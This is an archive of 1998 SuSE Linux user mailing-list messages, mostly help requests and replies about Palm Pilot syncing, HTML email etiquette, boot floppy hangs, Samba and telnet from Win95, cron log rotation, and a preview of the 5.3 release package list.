Date: Mon, 29 Jun 1998 21:01:17 -0400
Message-ID: <359838DD.D7C95B6D@netcom.ca>
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My recommendations is if your into it do play with it. There is now alot
of software availble in Linux for the Palm and Ryseron (part of UofT) is
currently working on a port to Linux on the Palm. Its rough but it works
but requires a memory upgrade. Start with
Linux.org>projects>microcontroller  to get you going, then do an
altvista search "Linux+Palmpilot" you will find a small gold mine. 

Yes the palm can be sinked to Linux. Kde even has a small program (not
tested yet) Kpilot, there is a samll but fucntional developers kit, and
an emulator xcopilot (bugger to set up though). 

The short of it is that it can be done. Soory all my bookmarks are at
work and Im late getting to the office this morning. Will post later as
time permits.

ch

misc.word.corp wrote:
> 
> I'm thinking of breaking my piggy bank and dropping $158 on a Palm
> Pilot, now that prices have lowered for the original version.
> 
> The precondition for the purchase, of course, is being able to use most
> of the Pilot's features without the agony of booting into W_n95
> (cringe).
>
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From satan3@home.com Tue Jun 30 01:01:22 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] cron
Date: Mon, 29 Jun 1998 20:01:22 -0500
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From fmiller@lightlink.com Tue Jun 30 01:03:28 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Thinking about SUSE
Date: Mon, 29 Jun 1998 21:03:28 -0400
Message-ID: <35983960.92D61A02@lightlink.com>
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Jt Chiodi wrote:
>=20
> Thanks for all the comments out there.  I have taken the plunge and purchas=
e the
> official version of S.u.S.E 5.2 from cheapbytes.  I look forward to install=
ing it.

I think you'll enjoy it!  Runs "slick" here....getting more fond of KDE
all the time.

Fred


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From schullersite@NOSPAMworldnet.att.net.suse.de Tue Jun 30 01:21:57 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 20:21:57 -0500
Message-ID: <35983DB5.CFF1CDAD@NOSPAMworldnet.att.net>
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David Nelsen wrote:
> 
> At 6/29/1998, you wrote:
> 
> >
> > Please do not send any html/mime stuff to this list !
> >
> > look at how it looks in mutt, the next mail this way wil be send to
> > /dev/null without reading it
> >
> > grtz
> > Bouke
> 
> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats?
> 
> Dave
> 
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I think it has very little to do with how "contemporary" a mail format
is.  ASCII text is the standard for e-mail.  HTML is the standard for W3
documents.


-- 

Ken Schuller

Network Systems Specialist

NovaNET Learning, Inc.

 Take out the spam foil to reply via e-mail. 

Incidentally, I speak for me.  That's all.  No one else.

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From satan3@home.com Tue Jun 30 01:23:23 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 20:23:23 -0500
Message-ID: <35983E0B.40D17136@home.com>
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That isn't the point.  Some people prefer the console, some people don't
even have x installed.  Send your mom and best friend html all you want,
but when you are sending a post to a public forum that is read by
hundreds of users it is just plain rude to send html.

David Nelsen wrote:

> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats?
>=20
> Dave


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From pmoon@mindspring.com Tue Jun 30 01:25:37 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Boot Disk don't!
Date: Mon, 29 Jun 1998 21:25:37 -0400
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Hi people,

    I first want to say thanks for all the good information that comes
out in this list.  I replaced the linux source package (de-installed,
reinstalled) with the lx-suse source package and reconfigured /
recompiled my kernel to support an AWE 64 card.  Post this, I managed to
frag my boot floppy and since then, have not been able to create a boot
floppy that will get me into my root system successfully. I have been
getting in with the S.u.S.E. install disk and CD... I was always
successful in the past week with a boot floppy created by YAST / sys
admin / create boot disk ... However now with a disk created in the same
way, I get into the boot start load of my root file system on /dev/sdb1
and all hardware is recognized and config'd as normal, then right after
the nic is recognized I hang at:

VFS mounted extfs2 ect. ect. ect.  (or something like this)

And that is all she wrote!

I have to go back in with the install disk again.. I saw someone
mentioned removing LINEAR from the LILO.CONF file with regard to another
boot problem posted here. I will try that next when I leave here...

Any suggestions would be greatly appreciated..

Perry Moon
Tampa, Florida

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From bb@suse.com Tue Jun 30 01:32:27 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] New on 5.3
Date: Mon, 29 Jun 1998 18:32:27 -0700
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Hi,

here is a list of what to exspect from S.u.S.E. Linux 5.3. This list
is just a preview and things may change. It's not an official announcement
or anything like this. I just want you to keep informed.. :)

Ciao,
        BB
-----------------------------------------------------------------------------=
--
New features of S.u.S.E. Linux 5.3

Kernel 2.0.34
  * Support of FAT32 and Joilet filesystems=20

YaST

Revised installation. Now offers two ways to install the system: Quickinstall=
=20
or Expert Mode=20

  * Easier partitioning and filesystem assignement.=20
  * New fdisk version (Win95-Fat32 and Win95-extended compatible).=20
  * FTP support for installation and update (now support full update via ftp!=
).=20

Updated packages

  * apache 1.3.0 (including mod_perl and "server side includes")=20
  * apacheSSL 1.2.6 (includeing PHP3 und SSL 1.17) (not on SuSE Linux interna=
tional)=20
  * apsfilter (tmp-file fixes)=20
  * automake 1.3=20
  * arcad 0.074 (demo)=20
  * cdwtools 0.95beta03=20
  * dhcp 1.0pl2=20
  * dosemu 0.66.7 (Security fixes)=20
  * emacs 20.2=20
  * fips 2.0=20
  * fortify 1.2.3 (not on SuSE Linux international)=20
  * freeciv 1.6.3=20
  * gdtmon 1.01=20
  * gimp 1.0=20
  * graffy (demo)=20
  * gs_lib (GNU version, support added for Brother HL720 und HL730)=20
  * gtk 1.0.4=20
  * itcl 2.2p2=20
  * kde pre-1.0 or 1.0=20
  * lsof 4.31=20
  * mh (Update)=20
  * netscape 4.05=20
  * plp 4.1.2=20
  * pop (includes IMAP-4.1.BETA 10.230)=20
  * postgres 6.3.2 (new interface)=20
  * qt 1.33=20
  * rpm2html 0.85=20
  * sane 0.73=20
  * smeiffel 0.81=20
  * snavig 4.0.3=20
  * susefax 0.84=20
  * suseppp 1.2=20
  * vdx 1.2=20
  * wget 1.5.1 (Bugfix release)=20
  * WindowMaker (afterstep )=20
  * wine 980614=20
  * xmp 1.1.5=20
  * xosview 1.6.0=20
  * ytree 1.63=20
  * All graphic-libraries have been reviewed=20
  * revised help-system=20

New packages

  * argroups 1.0 (UPS management software)
    This package offers the possibility to shut down the system dependent
    on the UPS status. It also includes a GUI monitor for the UPS.
  * blender 1.34beta (3D modelling, animation and rendering software)
    Blender is a high-end animation studio. It is extremly fast and offers
    an unique approach to the world of 3D. You can generate commercials,
    technical presentations and business graphics. It offers things like
    morphing, and makes the development of user interface easy.
  * cipe 0.5.3 (encoded IPIP-Tunnel) (not on SuSE Linux international)
    CIPE stands for 'Crypto IP Encapsulation'. It allows to set up secure
    'Virtual Private Networks'.
  * convert 1.3
    Converts abaout 700 phys. units into each other=20
  * dap (Digital Audio Processor)
    Application to edit audio samples. Supports AIFF and AIFF-C with 8 or=20
    16 Bit and 1,2 or 4 channels
  * ezwgl 1.38 (GUI-Bibliothek)
  * faxedit 1.14 (simple editor for pbm-Dateien)
    Provides a simple way to answer faxes. You can cut off parts, modify
    them in size or position, etc. Allows you to enter text and print
    prewiews.
  * fbm (Fuzzy Pixmap Manipulation Tools)
    Tools using libfbm.=20
  * fbm2fli=20
    create animations from fbm-picture-files.=20
  * fhs 2.0 (Filesystem Hierarchy Standard)
    Document describing the new standard for the Linux (Unix)
    filesystem hierarchy.
  * filerun 2.4.2 (X11 filemanager)
  * gif (gif tools)
    Conversation of gif files in other formats.=20
  * global 2.24
    GLOBAL is a commen tag-system for C and Yacc. Allows the easy creation
    of HTML references for complex sourcecodes (like X or the
    Linux-Kernel).
  * gltt (library for TrueType with OpenGL)
  * ircd (Internet Relay Chat Server)
    IRC server=20
  * libgif (Gif-Bibliothek)
    Library of functions to modify gif images=20
  * liblug (Multi-Format graphic library)
    Supports GIF, PCX, TGA, RGB, TIFF, PIX, RLA, RLE, PBM, PGM, PNM, RAW,
    JPG
  * lam (LAM/MPI parrallel computing)
  * LAM (Local Area Multicomputer)=20
    is a MPI (Message Passing Interface) programming environment and
    development system for heterogenous networks. With LAM you can use a
    cluster of existing computers as a single parrallel processor. LAM has
    lots of debugging options and is very performant. It's a full
    implementation of the MPI standard for parrallel processing.
  * maxwell 0.5.2 (text processor)
  * netacct 0.4 (account for network traffic)
  * netcat 1.10 (a simple but powerfull networking tool)
  * pvm 3.4.beta6 (Parallel Virtuall Machine)
    PVM allows to use a pool of computer as one virtual
    machine. Applications are written in C, C++ or Fortran, and access the
    system via the PVM library.
  * roottail
    Displays one or more files in different colors on the X11 root window.=20
  * slab 2.1 (sound tool)
    incl. recording studio, mixer...=20
  * sox (sound tool)
    All purpose tool for modifing and converting sound files. (command
    line)
  * sp (SGML Parser-Tool)
    Process SGML and XML documents. Includes the parser nsgmls, and
    the utilities sgmlnorm, spam, spent and sx. sx is used to convert
    SGML to XML, following the soon to be released WWW standard.=20
    spectcl 1.1
  * Interface builder for Tcl/Tk and Java by Sun Microsystems!=20
  * tkdraw 1.1
    Graphic tool which generates eps files.=20
  * tuba 2.1p1 (Tcl/Tk debugger)
  * tvision 0.5 (Port of Borland's TurboVision)
  * vnc 3.3.1 (virtual X-server)
  * xibod=20
    Tools for ISDN channel bundling=20
  * xmftp 1.0.4 (FTP tool for X Window)

X Window System

  * XFree86 3.3.2 2pl2 (xdm Skripte revised, security fixes)
  * XFCom_3DLabs Server
    Support for GLINT MX, GLINT 500TX, Permedia and Permedia 2 (formerly
    XSuSE_Elsa_GLoria server)
  * XFCom_SiS Server
    Support for SiS 86c201, SiS 86c202, SiS 86c205, SiS 5597 (ALPHA!), SiS
    5598 (ALPHA!) (formerly XSuSE_SiS server)
  * XFCom_Cyrix Server
    support for Cyrix MediaGX (not 100ure yet...)=20


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From leonmcclatchey@homemail.com Tue Jun 30 01:36:34 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] [S.u.S.E Linux] Problems in telneting from win95 client.
Date: Mon, 29 Jun 1998 20:36:34 -0500
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Michele America wrote:

> Hi,
>
> I have a 2 computer intranet :-) at home. One of them runs only linux and is
> configured as a server of httpd, ftp, news, dns, mars, samba, etc. The other
> runs both linux and window$.
>

I run a small intranet with OS/2 & Linux on one machine and Win95 on the
other.  OS/2, to date I have not been able to get to communicate with Win95.
My Linux machine on the other hand provides all the services that you mention
plus it is the gateway to the internet via Apache as a proxy server.

At any rate, if your window$ is Win95, then you will need to go into your (I'm
taking for granted that you have samba configured correctly on your Linux box=
),
Control Folder and open the network icon.  Make sure that tcpip is in there as
a protocol (that's the only way I could get it to work on my win machine).
Also, make sure that Samba is in there as well.  (I'm trying to pull all of
this off the top of my head:-)

You will need to make sure the default Client is set up for Microsoft
networks.  In your tcpip, you will need to set your gateway address (intranet
address for your linux server).  It is, also it is best to set up your IP
address in tcpip to that of your wins machine.  Since you have DNS set up, it
wouldn't hurt to enable dns lookup:-)

> When i boot linux in the client machine all works ok. All shared stuff is

Linux is very easy to set up as far as sharing goes, but to get Win to
cooperate, you will have to make sure you have file/print share enabled.  Als=
o,
I found it to work best to set up Win with user share.  The only real problem
with that is that you will have to name a server for password authentication.
It usually works best to use the name of the machine you are trying to share
directories with:-)  (But that part, I haven't yet got to work in Linux:-(

BTW, with my present configuration, I can telnet into linux, but not into
win95:-(  But, I can access the web page on Win95:-)

> shared, i can telnet, ftp, lynx, etc. into it.
> When i boot window$, i can not do anything.
> The exact simptom in telnet is that the login goes ok and i get the prompt
> from bash. When i do an ls in an empty directory it goes ok. If i try do ls
> the / directory i stop getting echo. If i Ctrl-D the keystroke gets to the

Ctrl-D is the linux logout hot key and for some reason it always kills the
connection:-0But one thing you may want to check on your telnet terminal is in
your preferences.  Make sure your buffers is a fairly high number.  Also, che=
ck
your terminal emulation and there are some other buttons that you can select.

> I think that if there is very little data to cross the network all is ok. If
> the ammount of data goes over some quantity, which i don't know, the server
> stops sending data to the client.
>

Checking my Samba logs (log.win95) apparently win95 wants to keep the window =
at
2998 (or some strange number like that).

Also, come to think of it, there are a couple of "text" files in /windows that
does have an effect as well.  Look for "networks" and make sure your machines
are all listed.  Also believe it or not, there is a hosts file as well.

I hope this helps a little:-)


--
cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
Linux User 78912
(Linux Box)

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From zentara@mindspring.com Tue Jun 30 01:45:33 1998
From: zentara@mindspring.com
To: users@lists.opensuse.org
Subject: Re: Re: [S.u.S.E. Linux] Am I paranoid, is it Microsoft, or what?
Date: Mon, 29 Jun 1998 20:45:33 -0500
Message-ID: <199806300050.UAA27035@camel14.mindspring.com>
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At 6/28/98 10:15:00 PM, you wrote:
>
>They probably changed thier nameservers..... DUH!!!!!

Duh is right.... my apologies to Microsoft, Mindspring, and the
internet.
I found the problem, and I feel like an idiot (  I look like one=20
anyway). =20
Well, the problem was I recently changed passwords on my mail account
but not my login.
I dumbly changed my pap secrets to the mail login a month ago, and
forgot I did it. What made it confusing was
Mindspring would let me connect via PPP with my mail password as=20
a logon password, but then would refuse all nameserver requests.

I never blamed SuSE in all of this...... it is still the best. I would upgrad=
e to 5.2
but I have to work all summer and won't have the time. Maybe 6 will be out
by this winter.

I gotta go.....an Oliver Stone movie is coming on.

zentara ......gone again

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From lonewolfe@uswest.net Tue Jun 30 01:46:17 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Mon, 29 Jun 1998 19:46:17 -0600
Message-ID: <199806290148.SAA26879@Goldengate.suse.com>
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I have a Diamond FireGL 1000, and I am trying to get it to work with the
Elsa Gloria X server. But the driver keeps saying that it cannot detect any
configured device. When I turn on the -verbose flag, it tells me that it
cannot probe the PCI bus. Can you help me figure out what is causing this
and how to remedy it.
+==============================================+
|Jason J. W. Williams                          |
+----------------------------------------------+
|INET: lonewolfe(a)uswest.net                    |
+--------------------------------------------+-+
|"I have sworn before the altar of God,      |
|Hostility towards every tyranny over the    |
|mind of man."                               |
| -Thomas Jefferson                          |
+--------------------------------------------+
|"In an age of disposability, when both      |
|objects and people are discarded was soon as|
|they cease to be of use, a fountain pen has |
|the durability of old friendship."          | 
| -Richard Leigh (British Writer)            | 
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From chilini@inlink.com Tue Jun 30 02:26:01 1998
From: chilini@inlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Packages
Date: Mon, 29 Jun 1998 21:26:01 -0500
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Hello,
        I am downloading (as i type) the basic packages for suse
(a1,a2,d1,d2,doc1,n1) are the packages kde1 and kde2 necessary for a base
install? The purpose of this install is so that i can do a NFS install
after i get PPP working, i dont know if kde is required for PPP or NFS to
work. please respond asap.
                Thank you,
                           Chilini
                        (David Kettmann)

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From fmiller@lightlink.com Tue Jun 30 02:26:08 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Mon, 29 Jun 1998 22:26:08 -0400
Message-ID: <35984CC0.81D0F58E@lightlink.com>
In-Reply-To: <19980628145632.A15575@Tiger.uni-koeln.de>
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Wolfgang Weisselberg wrote:
> 
> Hi!
> 
> Trying to kill the keyboard, fmiller(a)lightlink.com produced:
> > > It doesn't seem to take an act of congress for everybody. Just some
> > > people.
> >
> > No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
> > to be mains stream, and it deserves to be, then it must be MUCH more
> > user friendly.
> 
> Well, while I belive I am somewhat versed in Unix when I first
> installed Linux I tend to belive the most important bit is to
> read the manual, reread as neccessary and to take your time.
> Explore the menues. Read the help on every bit. At least the
> first time around.

[snip]

> Oh, go and make it as opaque and 'intelligent' and 'all the
> user has to know is how to operate the power-on switch and the
> coffe-cup holder' ... as long as one can switch it off with
> ease. IMHO.

As I said in another post, and I believe is where SuSE and others are
"going," is Linux is capable of supporting both type of users and
should.  It deserves to be main stream.

Fred


-- 
Fred A. Miller, Systems Administrator
Cornell Univ. Press Services
fmiller(a)lightlink.com
fm(a)cupserv.org
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From satan3@home.com Tue Jun 30 02:53:11 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New on 5.3
Date: Mon, 29 Jun 1998 21:53:11 -0500
Message-ID: <35985317.B3AE7193@home.com>
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Bodo Bauer wrote:

>   * WindowMaker (afterstep )

Thanks for the update Bodo!  I have to point out that while Afterstep is
an fvwm hack, WindowMaker is virgin code.  WindowMaker was coded from a
blank slate by Alfredo Kojima (with contributions later from Dan Pascu
and Matt Hawkins) after he left the Afterstep project.


--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
                          Michael Lankton
                  http://tasteslikechicken.ml.org>=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From mwagnon@ixpres.com Tue Jun 30 02:53:27 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Packages
Date: Mon, 29 Jun 1998 19:53:27 -0700
Message-ID: <35985327.81904A1C@ixpres.com>
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Chilini wrote:
> 
> Hello,
>         I am downloading (as i type) the basic packages for suse
> (a1,a2,d1,d2,doc1,n1) are the packages kde1 and kde2 necessary for a base
> install? 

No. KDE is the K Desktop Environment. It is a window manager and a bunch
of apps for X. You don't NEED it to get linux going, but you might want
to take a look at it later on, but take a look at WindowMaker too!

Luck,

Mark
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From nelsen@telusplanet.net Tue Jun 30 02:57:06 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 20:57:06 -0600
Message-ID: <98Jun29.210447-0600_mdt.267970-9144+37@mail.telusplanet.net>
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At 6/29/1998, you wrote:
>
>
>That isn't the point.  Some people prefer the console, some people don't
>even have x installed.  Send your mom and best friend html all you want,
>but when you are sending a post to a public forum that is read by
>hundreds of users it is just plain rude to send html.

I am sorry if I sent eye-strain email, but in this case it's not so much
rude as ignorant.  All email looks the same here as Eudora does whatever it
does in the background.  What's worse is I don't know how to regulate it's
formatting.  I'll refrain form posting until I get email figured out in Linux.

Dave

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From dana@ntd.net Tue Jun 30 03:01:06 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] cron
Date: Mon, 29 Jun 1998 22:01:06 -0500
Message-ID: <359854F2.390984C7@ntd.net>
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Michael Lankton wrote:
> 
> While I am reading up on cron, perhaps someone could save me the time
> and tell me briefly how I could have cron mail my
> /var/log/httpd.access_log to root every 24 hrs and start a new one.
> Thanks in advance.

Gezz, ya get a cable modem and next thing you know you need
to keep track of your logs. ;-) (speed envy showing here..!)

I believe there is a Perl script out there called CheckLog
that would work, and from there you could modify it.  I
just tried finding a url, but no go.  

Dana
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From mhtexcollins@ccms.net Tue Jun 30 03:05:31 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Star NX-1020
Date: Mon, 29 Jun 1998 22:05:31 -0500
Message-ID: <359855FB.C992900B@ccms.net>
In-Reply-To: <19980628150159.B15575@Tiger.uni-koeln.de>
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I can get it to print asci and it loves it. but when I try to print
anything else I get a few characters then paper rolling.  I think
someone said that I need new drivers.  Anyone know.=20

Since it will print asci, and fast,  What is the easiest way to get a
manpage or a html help file to print?  All the howtoos are html onthis
machine and I would like to print them out for away reading.

Thanks ahead

Wolfgang Weisselberg wrote:
>=20
> Hi!
>=20
> Trying to kill the keyboard, mhtexcollins(a)ccms.net produced:
> > Does anyone know where I should look??  It rattles every time I reboot,
> > and it works in 95 soooo..
>=20
> Tongue-in-cheek:
>=20
> Then don't reboot!
>=20
> end Tongue-in-cheek
> -
IMHO BEST Beginners book so far. Sams' Teach Yourself Linux in 24 hours.
redhat press.

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                     __
                    / /    __  _  _  _  _ __  __
                   / /__  / / / \// //_// \ \/ /
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From avi@bitsmart.com Tue Jun 30 03:07:14 1998
From: avi@bitsmart.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Mon, 29 Jun 1998 22:07:14 -0500
Message-ID: <35985662.FFE7E703@bitsmart.com>
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Bodo Bauer wrote:
>=20
> > and bug fixes the day after they release the distribution.  Finally, the
> > pamphlet they include with Red Hat is no match for the SuSE book, even
> > if the English is broken in places.
>=20
> We are working on this. I'm not sure if we'll have a better manual for the =
5.3,
> but the 6.0 manual will definitly be edited by an anerican native english
> speaker.
>=20
> If you call our hotline you'll talk with me and as i'M living in the US
> now, my english will get better too (at least I hope...:)

Bodo,

First, it is hard to believe how fast your english improves once you
start using it all the time...I know, I went through the same process.

More importantly, while the english translation is not perfect I found
the Suse manual to be the best in the business (I have experience with
RH and Caldera's manuals.)

Take care and welcome to the US of A.

--=20
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From pmoon@mindspring.com Tue Jun 30 03:37:49 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] System hangs on floppy boot
Date: Mon, 29 Jun 1998 23:37:49 -0400
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Hi guys,

    It's me again, I just wanted to clarify a bit.  I am having trouble
making a boot floppy that will get me into my installed system. I had
one that was working fine, but I screwed it up.  I am able to get into
my install using the install floppy from SuSE.
    With the disk I created in YAST System Administration, I am only
able to get so far in boot.  The kernel loads from floppy I assume and
all hardware seems to be identified and the boot continues to a cretin
point, then just halts.

VFS:  Mounted root  (ext2 filesystem).          <-----   System hangs
here when booting from floppy..

Any help appreciated..

Perry Moon
Tampa Florida

VFS: Mounted root (ext2 filesystem).
Trying to unmount old root ... okay
Adding Swap: 102296k swap-space (priority -1)
Serial driver version 4.13 with no serial options enabled
tty00 at 0x03f8 (irq = 4) is a 16550A
tty01 at 0x02f8 (irq = 3) is a 16550A
tty02 at 0x03e8 (irq = 4) is a 16550A
eth0: 3c509 at 0x310 tag 1, 10baseT port, address  00 a0 24 d9 df 4a, IRQ 10.
3c509.c:1.12 6/4/97 becker(a)cesdis.gsfc.nasa.gov
PS/2 auxiliary pointing device detected -- driver installed.
VFS: Disk change detected on device 02:00
MINIX-fs: mounting unchecked file system, running fsck is recommended.
MINIX-fs: mounting unchecked file system, running fsck is recommended.

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From tanc@cuug.ab.ca Tue Jun 30 03:38:17 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] [S.u.S.E Linux] Problems in telneting from win95 client.
Date: Mon, 29 Jun 1998 21:38:17 -0600
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Try setting the terminal type explicitly after login.

bash, ksh:=20
        export TERM=3Dvt100

tcsh, csh:
        setenv TERM vt100

Regards,
C. J. Tan

On Mon, 29 Jun 1998, Michele America wrote:

>=20
> Hi,
>=20
> I have a 2 computer intranet :-) at home. One of them runs only linux and is
> configured as a server of httpd, ftp, news, dns, mars, samba, etc. The other
> runs both linux and window$.
> When i boot linux in the client machine all works ok. All shared stuff is
> shared, i can telnet, ftp, lynx, etc. into it.
> When i boot window$, i can not do anything.
> The exact simptom in telnet is that the login goes ok and i get the prompt
> from bash. When i do an ls in an empty directory it goes ok. If i try do ls
> the / directory i stop getting echo. If i Ctrl-D the keystroke gets to the
> server and kills the connection but i cannot see anything on the terminal
> window.
> With ftp i get the first two lines of the server welcome message and then it
> stops.
> With dns all works ok.
> I think that if there is very little data to cross the network all is ok. If
> the ammount of data goes over some quantity, which i don't know, the server
> stops sending data to the client.
>=20
> Can anyone help me in figuring out what is going on ? Remember that all
> works ok with linux.
>=20
> Thanks,
>=20
> Michele America
> --
> micheleamerica(a)geocities.com
>=20
> LINUX the choice of a GNU generation
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From tanc@cuug.ab.ca Tue Jun 30 04:00:53 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] cron
Date: Mon, 29 Jun 1998 22:00:53 -0600
Message-ID: 
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Read the following:

/usr/doc/Books/LDP/install-guide-2.3.dvi
man mail

Will be easier if you were to write a script which will send you the=20
log file, and delete or move it, then just get cron to execute the script
from cron.

Regards,
C. J. Tan

On Mon, 29 Jun 1998, Michael Lankton wrote:

>=20
> While I am reading up on cron, perhaps someone could save me the time
> and tell me briefly how I could have cron mail my
> /var/log/httpd.access_log to root every 24 hrs and start a new one.=20
> Thanks in advance. =20
> --=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>                           Michael Lankton
>                   http://tasteslikechicken.ml.org>=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From tanc@cuug.ab.ca Tue Jun 30 04:04:15 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 22:04:15 -0600
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The nice thing about using Pine is that I can check my mail from anywhere
in the world, as long as I have a telnet connection. =20

C. J. Tan

On Mon, 29 Jun 1998, happycamper wrote:

>=20
> Netscape is fine, if you're always in X. I'm not. I use Pine alot and it's
> annoying when people send that html stuff. That's just me. I don't
> suggest that people should not send such stuff. I just know I have been
> deleting it.
>=20
> On Mon, 29 Jun 1998, David Nelsen wrote:
>=20
> >=20
> > At 6/29/1998, you wrote:=20
> >=20
> >=20
> > >
> > > Please do not send any html/mime stuff to this list !=20
> > >
> > > look at how it looks in mutt, the next mail this way wil be send to=20
> > > /dev/null without reading it=20
> > >
> > > grtz=20
> > > Bouke=20
> >=20
> >=20
> > Or maybe Linux should get a contempory mail program.  Does not Netscape
> > mail do
> > current mail formats? =20
> >=20
> > Dave
> >=20
> >=20
> >=20
> >=20
> > -
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From satan3@home.com Tue Jun 30 04:08:38 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 23:08:38 -0500
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David Nelsen wrote:

> I am sorry if I sent eye-strain email, but in this case it's not so much
> rude as ignorant.  All email looks the same here as Eudora does whatever it
> does in the background.  What's worse is I don't know how to regulate it's
> formatting.  I'll refrain form posting until I get email figured out in Lin=
ux.
>=20

It's not exactly a capital offense.  Sorry to jump all over you about
it.  Netscape allows you to toggle html mail off in both the windows and
unix flavors, so I'm sure most emailer browser/composers do as well.


--=20
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
                          Michael Lankton
                  http://tasteslikechicken.ml.org>=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From tanc@cuug.ab.ca Tue Jun 30 04:11:12 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] cron
Date: Mon, 29 Jun 1998 22:11:12 -0600
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If you are concern about hacks, what you might want to check regularly is
the /var/log/messages as well (assuming default system configuration).
What you might want to do to save you time going through the whole
/var/log/messages file is to move authpriv and auth logging to something
like /var/messages/security .  Read 'man syslog.conf' for more info.

Regards,
C. J. Tan

On Mon, 29 Jun 1998, Dana J. Laude wrote:

>=20
> Michael Lankton wrote:
> >=20
> > While I am reading up on cron, perhaps someone could save me the time
> > and tell me briefly how I could have cron mail my
> > /var/log/httpd.access_log to root every 24 hrs and start a new one.
> > Thanks in advance.
>=20
> Gezz, ya get a cable modem and next thing you know you need
> to keep track of your logs. ;-) (speed envy showing here..!)
>=20
> I believe there is a Perl script out there called CheckLog
> that would work, and from there you could modify it.  I
> just tried finding a url, but no go. =20
>=20
> Dana
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From tanc@cuug.ab.ca Tue Jun 30 04:13:51 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 22:13:51 -0600
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Anyone has a Windows machine with Eudora installed to help here?=20

C. J. Tan

On Mon, 29 Jun 1998, David Nelsen wrote:

>=20
> At 6/29/1998, you wrote:
> >
> >
> >That isn't the point.  Some people prefer the console, some people don't
> >even have x installed.  Send your mom and best friend html all you want,
> >but when you are sending a post to a public forum that is read by
> >hundreds of users it is just plain rude to send html.
>=20
> I am sorry if I sent eye-strain email, but in this case it's not so much
> rude as ignorant.  All email looks the same here as Eudora does whatever it
> does in the background.  What's worse is I don't know how to regulate it's
> formatting.  I'll refrain form posting until I get email figured out in Lin=
ux.
>=20
> Dave
>=20
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From tanc@cuug.ab.ca Tue Jun 30 04:23:01 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Window Manager (was Re: [S.u.S.E. Linux] thinking about suse)
Date: Mon, 29 Jun 1998 22:23:01 -0600
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While we are at it, I am just wondering how many people are using Motif
Window Manager or OpenWindows.  How is the mwm from Lesstif? =20

Regards,
C. J. Tan

On Mon, 29 Jun 1998 jonathan(a)aracnet.net wrote:

>=20
>=20
> On 28-Jun-98 Leon McClatchey wrote:
>=20
> > tried Linux, I only had 1 machine and that was set up to run either Linux=
 or
> > OS/2.
> > Well, now my "main server" is still a combination of OS/2 and Linux, but =
I'm
> > finding myself more in Linux and less in OS/2. (does that say something:-=
).=20
